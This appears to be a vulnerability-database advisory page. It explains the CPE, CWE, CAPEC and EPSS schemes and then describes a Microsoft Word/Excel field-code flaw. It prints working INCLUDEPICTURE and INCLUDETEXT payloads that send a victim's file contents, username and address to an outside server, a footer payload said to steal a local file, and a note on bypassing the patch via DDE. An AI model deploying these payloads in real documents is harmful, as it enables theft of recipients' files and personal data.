CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.

Microsoft Word and Excel allow remote attackers to steal sensitive information via certain field codes that insert the information when the document is returned to the attacker, as demonstrated in Word using (1) INCLUDETEXT or (2) INCLUDEPICTURE, aka "Flaw in Word Fields and Excel External Updates Could Lead to Information Disclosure."

EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

The INCLUDEPICTURE Field Code may be used to insert arbitrary URLs into a document. The INCLUDEPICTURE Field Code is reported to, under some circumstances, present a security threat.
If the INCLUDEPICTURE Field Code is included in a document and references a URL, it may be possible for the attacker to obtain contents of files on the victim user's system. It is possible for an attacker to abuse this functionality in a situation where documents are constantly being shared and updated.
An attacker can potentially exploit this vulnerability to obtain the contents of files residing on a victim user's system.
{ INCLUDEPICTURE { QUOTE "http:\\www.alicesserver.com\" & { FILENAME \p } & { INCLUDETEXT "c:\\a.txt" } } \d }
{ INCLUDEPICTURE { QUOTE "http:\\www.alicesserver.com\" & { USERNAME } & { USERADDRESS } } \d }

The Microsoft Word and Excel INCLUDETEXT Field Code may be used to insert an arbitrary local file into a document. The INCLUDETEXT Field Code is reported to, under some circumstances, present a security threat.
If the INCLUDETEXT Field Code is included in a document and references a file on the local system of the recipient, then the file will also be included when the document is sent out. It is possible for an attacker to abuse this functionality in a situation where documents are constantly being shared and updated.
The recipient of the malicious document must still pass along the updated version of the document for the attacker to receive the imported local file.
** Reports indicate that using a 'dde' link group field may be able to bypass the functionality of the Microsoft patch for this issue.
Inserting the following field structure into the footer of the last page of the document will steal the contents of c:\a.txt on the target's computer:
{ IF { INCLUDETEXT { IF { DATE } = { DATE } "c:\\a.txt" "c:\\a.txt" } \* MERGEFORMAT } = "" "" \* MERGEFORMAT }
